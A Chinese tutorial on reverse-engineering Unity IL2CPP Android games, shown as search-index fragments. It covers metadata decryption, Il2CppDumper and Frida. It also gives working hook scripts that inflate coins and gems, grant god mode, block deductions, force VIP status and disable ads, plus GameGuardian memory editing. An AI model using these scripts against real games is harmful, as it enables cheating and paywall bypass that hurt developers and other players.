IL2CPP 方法调用约定 在 IL2CPP 编译后的代码中，C# 方法被转换为 C 函数，调用约定如下： C# 原始方法: public class Player { public int AddCoin(int amount) { ... } } IL2CPP 转换后: int32_t Player_AddCoin(Player* __this, int32_t amount, MethodInfo* method) ───────────── ────────────── ───────────────── 第一个参数 第二个参数 隐含的方法信息 是 this 指针 是原始参数 (通常可忽略) 在 ARM64 寄存器中： 寄存器 含义 x0 this 指针（实例方法）或第一个参数（静态方法） x1 第一个参数（实例方法）或第二个参数（静态方法） x2 第二个参数 / MethodInfo* x0 (返回) 返回值 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:3:3","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#33-il2cpp-方法调用约定"},{"categories":null,"collections":null,"content":"4. global-metadata.dat 分析 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:4:0","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#4-global-metadatadat-分析"},{"categories":null,"collections":null,"content":"4.1 文件结构 global-metadata.dat 有固定的头部结构： typedef struct Il2CppGlobalMetadataHeader { int32_t sanity; // 魔数: 0xFAB11BAF int32_t version; // 版本号 (如 29 for Unity 2021+) int32_t stringLiteralOffset; int32_t stringLiteralSize; int32_t stringLiteralDataOffset; int32_t stringLiteralDataSize; int32_t stringOffset; // 字符串表偏移 int32_t stringSize; // 字符串表大小 int32_t eventsOffset; int32_t eventsSize; int32_t propertiesOffset; int32_t propertiesSize; int32_t methodsOffset; // 方法定义表偏移 int32_t methodsSize; int32_t fieldDefaultValuesOffset; int32_t fieldDefaultValuesSize; int32_t imagesOffset; // 程序集镜像表偏移 int32_t imagesSize; int32_t assembliesOffset; // 程序集表偏移 int32_t assembliesSize; // ... (更多表的偏移和大小) } Il2CppGlobalMetadataHeader; 文件布局示意： 偏移 内容 大小 ───────────────────────────────────────────────── 0x0000 Header (魔数 + 版本 + 表指针) ~300 字节 0x0130 String Literal Table 可变 0x???? String Table (类名/方法名) 可变 0x???? Type Definitions 可变 0x???? Method Definitions 可变 0x???? Field Definitions 可变 0x???? Image Definitions 可变 0x???? Assembly Definitions 可变 ... (其余元数据表) EOF ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:4:1","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#41-文件结构"},{"categories":null,"collections":null,"content":"4.2 加密检测 许多游戏会加密 global-metadata.dat 来阻止 Il2CppDumper 工作。检测方法： # 方法 1: 检查魔数 (正常应该是 AF 1B B1 FA) xxd -l 16 global-metadata.dat # 正常输出: af1b b1fa 1d00 0000 ... (1d = version 29) # 加密输出: 随机字节 或 全零 或 其他固定值 # 方法 2: 搜索明文字符串 (正常的 metadata 包含大量可读字符串) strings global-metadata.dat | head -20 # 正常: 能看到 System.Object, UnityEngine, MonoBehaviour 等 # 加密: 几乎没有可读字符串 # 方法 3: 检查熵值 (加密数据熵值接近 8.0) python3 -c \" import math, sys data = open(sys.argv[1], 'rb').read() freq = [0] * 256 for b in data: freq[b] += 1 entropy = -sum(f/len(data) * math.log2(f/len(data)) for f in freq if f \u003e 0) print(f'Entropy: {entropy:.4f}') print('加密可能性: ' + ('高' if entropy \u003e 7.5 else '低')) \" global-metadata.dat ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:4:2","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#42-加密检测"},{"categories":null,"collections":null,"content":"4.3 常见加密方案与解密思路 加密方案 特征 解密方法 XOR 全文加密 固定单字节/多字节异或 已知明文攻击 (magic bytes) AES 加密 高熵值，大小是 16 的倍数 逆向 libil2cpp.so 找密钥 自定义加密 各种特征 逆向加载流程 仅修改 Header Header 异常但数据区正常 修复 Header 运行时解密 文件加密，内存中解密 内存 Dump 思路 1: 已知明文攻击（XOR 加密） # xor_decrypt_metadata.py # 利用已知的 magic number 推断 XOR key import struct with open(\"global-metadata.dat\", \"rb\") as f: data = bytearray(f.read()) # global-metadata.dat 的 magic number 应该是 0xFAB11BAF EXPECTED_MAGIC = struct.pack(\"\u003cI\", 0xFAB11BAF) # AF 1B B1 FA actual_magic = data[:4] # 推断 XOR key key = bytes([a ^ b for a, b in zip(actual_magic, EXPECTED_MAGIC)]) print(f\"推断的 XOR key: {key.hex()}\") # 尝试解密 key_len = len(key) decrypted = bytearray(len(data)) for i in range(len(data)): decrypted[i] = data[i] ^ key[i % key_len] # 验证 dec_magic = struct.unpack(\"\u003cI\", decrypted[:4])[0] dec_version = struct.unpack(\"\u003ci\", decrypted[4:8])[0] print(f\"解密后 magic: 0x{dec_magic:08X} (期望: 0xFAB11BAF)\") print(f\"解密后 version: {dec_version} (合理范围: 24-31)\") if dec_magic == 0xFAB11BAF and 20 \u003c= dec_version \u003c= 35: with open(\"global-metadata-decrypted.dat\", \"wb\") as f: f.write(decrypted) print(\"[+] 解密成功!\") else: print(\"[-] XOR 解密失败，可能是更复杂的加密方案\") 思路 2: 运行时内存 Dump（通用方法） 无论游戏使用何种加密，在运行时 libil2cpp.so 必须将 metadata 解密到内存中。可以通过 Hook 加载函数来截获解密后的数据： // frida_dump_metadata.js // Hook metadata 加载函数，Dump 解密后的 metadata Java.perform(function() { var il2cpp = Module.findBaseAddress(\"libil2cpp.so\"); if (!il2cpp) { console.log(\"[-] libil2cpp.so not loaded yet\"); return; } // 方法 1: Hook il2cpp_init // metadata 通常在 il2cpp 初始化时加载 var il2cpp_init = Module.findExportByName(\"libil2cpp.so\", \"il2cpp_init\"); if (il2cpp_init) { Interceptor.attach(il2cpp_init, { onEnter: function(args) { console.log(\"[*] il2cpp_init called\"); }, onLeave: function(retval) { console.log(\"[*] il2cpp_init returned, scanning memory...\"); scanForMetadata(); } }); } // 方法 2: 扫描内存中的 metadata magic function scanForMetadata() { var ranges = Process.enumerateRanges(\"r--\"); for (var i = 0; i \u003c ranges.length; i++) { var range = ranges[i]; if (range.size \u003c 1024) continue; try { var results = Memory.scanSync(range.base, range.size, \"AF 1B B1 FA\"); for (var j = 0; j \u003c results.length; j++) { var addr = results[j].address; var version = addr.add(4).readS32(); if (version \u003e= 20 \u0026\u0026 version \u003c= 35) { console.log(\"[+] Found metadata at: \" + addr + \" version: \" + version); // 推测大小 (读取 header 中的最大偏移 + 大小) var metaSize = estimateMetadataSize(addr); console.log(\"[+] Estimated size: \" + metaSize); // Dump 到文件 var file = new File(\"/data/local/tmp/global-metadata-dumped.dat\", \"wb\"); file.write(addr.readByteArray(metaSize)); file.close(); console.log(\"[+] Dumped to /data/local/tmp/global-metadata-dumped.dat\"); } } } catch(e) {} } } function estimateMetadataSize(base) { // 遍历 header 中的 (offset, size) 对，找到最大的 offset+size var maxEnd = 0; for (var i = 2; i \u003c 60; i += 2) { // header 中的表偏移 var offset = base.add(i * 4).readS32(); var size = base.add((i + 1) * 4).readS32(); if (offset \u003e 0 \u0026\u0026 size \u003e 0 \u0026\u0026 (offset + size) \u003e maxEnd) { maxEnd = offset + size; } } return maxEnd \u003e 0 ? maxEnd : 0x1000000; // 默认 16MB } }); ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:4:3","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#43-常见加密方案与解密思路"},{"categories":null,"collections":null,"content":"5. Il2CppDumper 实战 💡 思路一句话: 用 Il2CppDumper 从 libil2cpp.so + global-metadata.dat 恢复类名/方法名 → 导入 IDA 获得可读的函数列表 → 定位目标函数进行分析。 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:5:0","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#5-il2cppdumper-实战"},{"categories":null,"collections":null,"content":"5.1 准备工作 # 下载 Il2CppDumper (推荐 v6.7.x+) # https://github.com/Perfare/Il2CppDumper/releases # 解压 APK mkdir -p ~/unity_re/target cd ~/unity_re/target unzip -o game.apk # 提取关键文件 cp lib/arm64-v8a/libil2cpp.so ~/unity_re/ cp assets/bin/Data/Managed/Metadata/global-metadata.dat ~/unity_re/ ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:5:1","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#51-准备工作"},{"categories":null,"collections":null,"content":"5.2 运行 Dump cd ~/unity_re # 方式 1: 命令行模式 (推荐) Il2CppDumper libil2cpp.so global-metadata.dat output/ # 方式 2: GUI 模式 (Windows) # 运行 Il2CppDumper.exe，依次选择 libil2cpp.so 和 global-metadata.dat 成功执行后，output/ 目录结构如下： output/ ├── dump.cs # ★ 还原的 C# 伪代码 (最重要) ├── script.py # IDA Pro 重命名脚本 ├── ghidra.py # Ghidra 重命名脚本 (Ghidra 11 可用) ├── il2cpp.h # C 头文件 (IDA 可导入) ├── stringliteral.json # 字符串字面量表 ├── DummyDll/ # ★ 空壳 DLL (可用 dnSpy 打开) │ ├── Assembly-CSharp.dll │ ├── Assembly-CSharp-firstpass.dll │ ├── UnityEngine.dll │ ├── UnityEngine.CoreModule.dll │ ├── mscorlib.dll │ └── ... └── il2cpp_types.json # 类型信息 JSON ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:5:2","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#52-运行-dump"},{"categories":null,"collections":null,"content":"5.3 dump.cs 分析 dump.cs 是最重要的输出文件，它包含了还原后的类结构： // dump.cs 示例内容 // Namespace: Game.Logic public class PlayerData // TypeDefIndex: 3456 { // Fields public int coin; // 0x10 public int gem; // 0x14 public int level; // 0x18 public float hp; // 0x1C public float maxHp; // 0x20 public string playerName; // 0x28 public List\u003cItemData\u003e inventory; // 0x30 // Methods // RVA: 0x1A2B3C Offset: 0x1A2B3C VA: 0x1A2B3C public void AddCoin(int amount) { } // RVA: 0x1A2B80 Offset: 0x1A2B80 VA: 0x1A2B80 public void SubCoin(int amount) { } // RVA: 0x1A2BC0 Offset: 0x1A2BC0 VA: 0x1A2BC0 public int GetCoin() { } // RVA: 0x1A2C00 Offset: 0x1A2C00 VA: 0x1A2C00 public void TakeDamage(float damage) { } // RVA: 0x1A2C80 Offset: 0x1A2C80 VA: 0x1A2C80 public void Heal(float amount) { } // RVA: 0x1A2D00 Offset: 0x1A2D00 VA: 0x1A2D00 public static PlayerData get_Instance() { } } // Namespace: Game.Battle public class BattleManager : MonoBehaviour // TypeDefIndex: 3500 { // Fields public static BattleManager instance; // 0x0 public float damageMultiplier; // 0x18 public bool isInvincible; // 0x1C // Methods // RVA: 0x1B0000 Offset: 0x1B0000 VA: 0x1B0000 public void CalculateDamage(PlayerData attacker, PlayerData target, float baseDmg) { } // RVA: 0x1B0100 Offset: 0x1B0100 VA: 0x1B0100 public void OnBattleEnd(bool isWin) { } } 注意: dump.cs 只包含类的 结构（字段和方法签名），不包含方法的 实现。方法体需要通过 IDA/Ghidra 分析 libil2cpp.so 来获取。 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:5:3","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#53-dumpcs-分析"},{"categories":null,"collections":null,"content":"5.4 在 dnSpy 中查看 DummyDll 步骤: 1. 打开 dnSpy (https://github.com/dnSpy/dnSpy) 2. File -\u003e Open -\u003e 选择 output/DummyDll/Assembly-CSharp.dll 3. 在左侧类树中浏览所有类和方法 4. 虽然方法体是空的，但可以看到完整的类继承、接口实现、枚举定义等 优势: - 树状浏览比 dump.cs 的平面文本更直观 - 支持搜索类名、方法名、字段名 - 可以看到泛型参数、特性 (Attribute) 等详细信息 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:5:4","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#54-在-dnspy-中查看-dummydll"},{"categories":null,"collections":null,"content":"5.5 在 IDA Pro / Ghidra 中加载脚本 IDA Pro: 1. 用 IDA 打开 libil2cpp.so (选择 ARM 64-bit 或 ARM 32-bit) 2. 等待自动分析完成 (可能需要 10-30 分钟) 3. File -\u003e Script file -\u003e 选择 output/script.py 4. 脚本执行后，所有函数会被重命名: sub_1A2B3C --\u003e PlayerData$$AddCoin sub_1A2B80 --\u003e PlayerData$$SubCoin sub_1B0000 --\u003e BattleManager$$CalculateDamage Ghidra: 1. 创建新项目，导入 libil2cpp.so 2. 分析完成后，Window -\u003e Script Manager 3. 运行 output/ghidra.py 4. 函数名和类型信息将被自动恢复 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:5:5","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#55-在-ida-pro--ghidra-中加载脚本"},{"categories":null,"collections":null,"content":"6. Frida Hook Unity 游戏 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:6:0","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#6-frida-hook-unity-游戏"},{"categories":null,"collections":null,"content":"6.1 基础: 通过偏移 Hook 从 dump.cs 中获取方法的 RVA 偏移后，可以直接用 Frida Hook： // hook_il2cpp_basic.js // 基础 IL2CPP Hook 模板 \"use strict\"; function hookIl2Cpp() { var soName = \"libil2cpp.so\"; var baseAddr = Module.findBaseAddress(soName); if (!baseAddr) { console.log(\"[-] \" + soName + \" not loaded, retrying...\"); setTimeout(hookIl2Cpp, 1000); return; } console.log(\"[+] \" + soName + \" base: \" + baseAddr); // ======================================== // Hook PlayerData.AddCoin (RVA: 0x1A2B3C) // ======================================== // 原型: void AddCoin(PlayerData* this, int amount, MethodInfo* method) var addCoinAddr = baseAddr.add(0x1A2B3C); Interceptor.attach(addCoinAddr, { onEnter: function(args) { // args[0] = this (PlayerData*) // args[1] = amount (int) // args[2] = MethodInfo* var thisPtr = args[0]; var amount = args[1].toInt32(); console.log(\"[*] AddCoin called, amount: \" + amount); // 读取当前 coin 值 (字段偏移 0x10) var currentCoin = thisPtr.add(0x10).readS32(); console.log(\" Current coin: \" + currentCoin); // 修改参数: 将增加量改为 99999 args[1] = ptr(99999); console.log(\" Modified amount to: 99999\"); }, onLeave: function(retval) { console.log(\"[*] AddCoin finished\"); } }); // ======================================== // Hook PlayerData.TakeDamage (RVA: 0x1A2C00) // ======================================== // 原型: void TakeDamage(PlayerData* this, float damage, MethodInfo* method) var takeDamageAddr = baseAddr.add(0x1A2C00); Interceptor.attach(takeDamageAddr, { onEnter: function(args) { var thisPtr = args[0]; // 浮点参数在 ARM64 上通过 NEON 寄存器传递 // 但 IL2CPP 有时会将 float 通过通用寄存器传递 // 需要根据实际情况判断 // 方法 1: 直接设置伤害为 0 (无敌) // 修改 float 参数 var damagePtr = Memory.alloc(4); damagePtr.writeFloat(0.0); args[1] = damagePtr.readPointer(); console.log(\"[*] TakeDamage -\u003e damage set to 0 (god mode)\"); } }); // ======================================== // 直接修改内存中的字段值 // ======================================== // 如果能拿到 PlayerData 的实例指针，可以直接读写字段 var getInstanceAddr = baseAddr.add(0x1A2D00); // PlayerData.get_Instance() Interceptor.attach(getInstanceAddr, { onLeave: function(retval) { if (!retval.isNull()) { var instance = retval; console.log(\"[*] PlayerData instance: \" + instance); // 读取所有字段 var coin = instance.add(0x10).readS32(); var gem = instance.add(0x14).readS32(); var level = instance.add(0x18).readS32(); var hp = instance.add(0x1C).readFloat(); var maxHp = instance.add(0x20).readFloat(); console.log(\" Coin: \" + coin); console.log(\" Gem: \" + gem); console.log(\" Level: \" + level); console.log(\" HP: \" + hp.toFixed(1) + \" / \" + maxHp.toFixed(1)); // 修改字段值 instance.add(0x10).writeS32(999999); // coin = 999999 instance.add(0x14).writeS32(999999); // gem = 999999 instance.add(0x1C).writeFloat(99999.0); // hp = 99999 instance.add(0x20).writeFloat(99999.0); // maxHp = 99999 console.log(\"[+] Values modified!\"); } } }); } // 等待 libil2cpp.so 加载 setTimeout(hookIl2Cpp, 3000); ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:6:1","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#61-基础-通过偏移-hook"},{"categories":null,"collections":null,"content":"6.2 使用 frida-il2cpp-bridge（推荐） frida-il2cpp-bridge 是一个专门为 IL2CPP 游戏设计的 Frida 库，可以自动解析类型系统，无需手动计算偏移： // hook_il2cpp_bridge.js // 使用 frida-il2cpp-bridge 进行更优雅的 Hook import \"frida-il2cpp-bridge\"; Il2Cpp.perform(() =\u003e { // 1. 获取程序集 const assembly = Il2Cpp.domain.assembly(\"Assembly-CSharp\"); const image = assembly.image; console.log(\"[+] Assembly-CSharp loaded\"); console.log(\" Classes count: \" + image.classCount); // ======================================== // 2. 查找并 Hook 类方法 // ======================================== const PlayerData = image.class(\"Game.Logic.PlayerData\"); console.log(\"[+] PlayerData found: \" + PlayerData); // 列出所有方法 for (const method of PlayerData.methods) { console.log(\" Method: \" + method.name + \" | Params: \" + method.parameterCount + \" | Offset: \" + method.relativeVirtualAddress); } // 列出所有字段 for (const field of PlayerData.fields) { console.log(\" Field: \" + field.name + \" | Type: \" + field.type.name + \" | Offset: \" + field.offset); } // ======================================== // 3. Hook AddCoin - 修改增加量 // ======================================== PlayerData.method(\"AddCoin\").implementation = function(amount) { console.log(\"[*] AddCoin called, original amount: \" + amount); // 调用原始方法，但传入修改后的参数 this.method(\"AddCoin\").invoke(99999); console.log(\"[+] AddCoin modified to 99999\"); }; // ======================================== // 4. Hook TakeDamage - 实现无敌 // ======================================== PlayerData.method(\"TakeDamage\").implementation = function(damage) { console.log(\"[*] TakeDamage blocked! Original damage: \" + damage); // 不调用原始方法 = 不受伤 return; }; // ======================================== // 5. Hook SubCoin - 阻止扣币 // ======================================== PlayerData.method(\"SubCoin\").implementation = function(amount) { console.log(\"[*] SubCoin blocked! Tried to deduct: \" + amount); // 不执行原始扣币逻辑 return; }; // ======================================== // 6. 读写实例字段 // ======================================== const getInstance = PlayerData.method(\"get_Instance\"); const instance = getInstance.invoke(); if (!instance.isNull()) { console.log(\"[+] Got PlayerData instance\"); console.log(\" coin: \" + instance.field(\"coin\").value); console.log(\" gem: \" + instance.field(\"gem\").value); console.log(\" hp: \" + instance.field(\"hp\").value); // 直接修改字段 instance.field(\"coin\").value = 999999; instance.field(\"gem\").value = 999999; console.log(\"[+] Fields modified!\"); } // ======================================== // 7. 追踪整个类的方法调用 // ======================================== const BattleManager = image.class(\"Game.Battle.BattleManager\"); Il2Cpp.trace() .classes(BattleManager) .and() .attach(); console.log(\"[+] BattleManager trace enabled\"); }); ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:6:2","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#62-使用-frida-il2cpp-bridge推荐"},{"categories":null,"collections":null,"content":"6.3 查找方法偏移的技巧 当 dump.cs 中的偏移在运行时不准确时，可以使用以下方法定位： // find_method_offset.js // 在运行时搜索方法偏移 \"use strict\"; // 方法 1: Pattern Scanning (特征码搜索) function findByPattern() { var module = Process.findModuleByName(\"libil2cpp.so\"); if (!module) return; // 例: 搜索 AddCoin 函数的开头字节 (需要先从 IDA 获取) // ARM64 函数通常以 STP X29, X30, [SP, #-0x??]! 开头 var pattern = \"FD 7B BE A9 FD 03 00 91\"; // 示例 pattern var results = Memory.scanSync(module.base, module.size, pattern); console.log(\"Found \" + results.length + \" matches\"); results.forEach(function(match) { var rva = match.address.sub(module.base); console.log(\" RVA: 0x\" + rva.toString(16) + \" VA: \" + match.address); }); } // 方法 2: 通过字符串引用定位 function findByStringRef() { var module = Process.findModuleByName(\"libil2cpp.so\"); if (!module) return; // 搜索游戏中的特征字符串 var pattern = \"00\"; // 搜索 \"AddCoin\" 字符串 var target = \"AddCoin\"; var results = Memory.scanSync(module.base, module.size, stringToHexPattern(target)); results.forEach(function(match) { console.log(\"[*] String '\" + target + \"' found at: \" + match.address); // 搜索对这个字符串的交叉引用 var strAddr = match.address; // 在代码段中搜索加载这个地址的指令 // (需要根据 ARM64 指令格式计算) }); } function stringToHexPattern(str) { var hex = \"\"; for (var i = 0; i \u003c str.length; i++) { hex += str.charCodeAt(i).toString(16).padStart(2, \"0\") + \" \"; } return hex.trim(); } // 方法 3: 通过 IL2CPP API 获取运行时地址 function findByIl2CppApi() { // il2cpp_class_from_name 和 il2cpp_class_get_method_from_name // 是 libil2cpp.so 导出的 API var il2cpp_domain_get = new NativeFunction( Module.findExportByName(\"libil2cpp.so\", \"il2cpp_domain_get\"), \"pointer\", []); var il2cpp_domain_get_assemblies = new NativeFunction( Module.findExportByName(\"libil2cpp.so\", \"il2cpp_domain_get_assemblies\"), \"pointer\", [\"pointer\", \"pointer\"]); var il2cpp_class_from_name = new NativeFunction( Module.findExportByName(\"libil2cpp.so\", \"il2cpp_class_from_name\"), \"pointer\", [\"pointer\", \"pointer\", \"pointer\"]); var il2cpp_class_get_method_from_name = new NativeFunction( Module.findExportByName(\"libil2cpp.so\", \"il2cpp_class_get_method_from_name\"), \"pointer\", [\"pointer\", \"pointer\", \"int\"]); // 获取 domain var domain = il2cpp_domain_get(); console.log(\"[*] Domain: \" + domain); // 这种方法可以获取方法的 MethodInfo* // 从 MethodInfo 中读取 methodPointer 即可得到函数地址 } ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:6:3","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#63-查找方法偏移的技巧"},{"categories":null,"collections":null,"content":"6.4 Hook 运行时常用模式 // common_hook_patterns.js // Unity 游戏 Hook 常用模式合集 \"use strict\"; var il2cpp = Module.findBaseAddress(\"libil2cpp.so\"); // ============================== // 模式 1: 替换方法返回值 // ============================== // 让 IsVIP() 永远返回 true function hookIsVIP(offset) { Interceptor.attach(il2cpp.add(offset), { onLeave: function(retval) { retval.replace(ptr(1)); // true } }); } // ============================== // 模式 2: NOP 掉整个方法 // ============================== // 让 ShowAd() 什么都不做 (ARM64) function nopMethod(offset) { // ARM64: RET = 0xD65F03C0 Memory.protect(il2cpp.add(offset), 4, \"rwx\"); il2cpp.add(offset).writeU32(0xD65F03C0); } // ============================== // 模式 3: Hook 构造函数追踪实例 // ============================== var playerInstances = []; function trackPlayerInstances(ctorOffset) { Interceptor.attach(il2cpp.add(ctorOffset), { onEnter: function(args) { playerInstances.push(args[0]); console.log(\"[+] New Player instance: \" + args[0] + \" (total: \" + playerInstances.length + \")\"); } }); } // ============================== // 模式 4: Hook Update 做持续修改 // ============================== // Unity 的 Update() 每帧调用一次 function hookUpdate(offset, hpOffset, maxHpOffset) { var count = 0; Interceptor.attach(il2cpp.add(offset), { onEnter: function(args) { var self = args[0]; // 每帧将 HP 设置为最大值 var maxHp = self.add(maxHpOffset).readFloat(); self.add(hpOffset).writeFloat(maxHp); // 每 300 帧打印一次 (大约 5 秒) if (count++ % 300 === 0) { console.log(\"[*] HP maintained at: \" + maxHp); } } }); } // ============================== // 模式 5: Hook 网络请求修改数据 // ============================== function hookNetworkResponse(parseOffset) { Interceptor.attach(il2cpp.add(parseOffset), { onEnter: function(args) { // args[1] 通常是 JSON 字符串或 protobuf 数据 // 需要根据具体游戏的协议来修改 console.log(\"[*] Network response received\"); } }); } ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:6:4","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#64-hook-运行时常用模式"},{"categories":null,"collections":null,"content":"7. GameGuardian 与内存修改 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:7:0","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#7-gameguardian-与内存修改"},{"categories":null,"collections":null,"content":"7.1 GameGuardian 概述 GameGuardian (GG) 是 Android 上最流行的内存修改工具。它可以搜索和修改游戏进程的内存，适用于单机游戏或弱联网游戏。 ┌─────────────────────────────────────────────────────┐ │ GameGuardian 工作原理 │ ├─────────────────────────────────────────────────────┤ │ │ │ GameGuardian App (Root 权限) │ │ │ │ │ │ ptrace / /proc/\u003cpid\u003e/mem │ │ ▼ │ │ ┌─────────────────────────────────────┐ │ │ │ 目标游戏进程内存空间 │ │ │ ├─────────────────────────────────────┤ │ │ │ 代码段 (.text) [r-x] │ │ │ │ ├── libil2cpp.so │ │ │ │ └── libunity.so │ │ │ ├─────────────────────────────────────┤ │ │ │ 数据段 (.data/.bss) [rw-] │ │ │ │ ├── 全局变量 │ │ │ │ └── 静态字段 │ │ │ ├─────────────────────────────────────┤ │ │ │ 堆 (Heap) [rw-] │ │ │ │ ├── 游戏对象实例 ◄── 搜索目标 │ │ │ │ │ ├── PlayerData.coin = 1000 │ │ │ │ │ ├── PlayerData.gem = 50 │ │ │ │ │ └── PlayerData.hp = 100.0 │ │ │ │ └── IL2CPP 管理的对象 │ │ │ ├─────────────────────────────────────┤ │ │ │ 栈 (Stack) [rw-] │ │ │ └─────────────────────────────────────┘ │ │ │ │ 搜索流程: │ │ 1. 搜索当前值 (如 coin=1000) │ │ 2. 改变游戏中的值 (花掉一些 coin) │ │ 3. 搜索新值 (如 coin=900) │ │ 4. 重复缩小范围直到找到唯一地址 │ │ 5. 修改该地址的值 │ │ │ └─────────────────────────────────────────────────────┘ ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:7:1","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#71-gameguardian-概述"},{"categories":null,"collections":null,"content":"7.2 基础搜索流程 步骤 1: 已知值搜索 场景: 游戏中显示 金币 = 1500 GG 操作: 1. 打开 GG 悬浮窗 2. 选择目标进程 (游戏) 3. 搜索 -\u003e 输入 1500 4. 类型选择: DWORD (4字节整数) 5. 搜索范围: 全部 (或 C++ Heap) 6. 结果: 找到 5000+ 个地址 (太多) 缩小范围: 7. 回到游戏，花费 200 金币 (剩余 1300) 8. GG -\u003e 继续搜索 -\u003e 输入 1300 9. 结果: 3 个地址 10. 再次花费 100 金币 (剩余 1200) 11. GG -\u003e 继续搜索 -\u003e 输入 1200 12. 结果: 1 个地址 -\u003e 这就是 coin 的内存地址! 修改: 13. 选中该地址 -\u003e 修改值为 999999 14. 可选: 冻结该地址 (防止游戏更新值) 步骤 2: 未知值搜索 (模糊搜索) 场景: 游戏中 HP 显示为血条图形，不知道具体数值 GG 操作: 1. 搜索 -\u003e 未知值搜索 2. 受到伤害后 -\u003e 搜索 \"减少的值\" 3. 吃血药后 -\u003e 搜索 \"增加的值\" 4. HP 未变化 -\u003e 搜索 \"未变化的值\" 5. 重复 3-5 次，缩小到几个地址 6. 逐个修改测试 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:7:2","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#72-基础搜索流程"},{"categories":null,"collections":null,"content":"7.3 搜索类型对照 数据类型 GG 中的名称 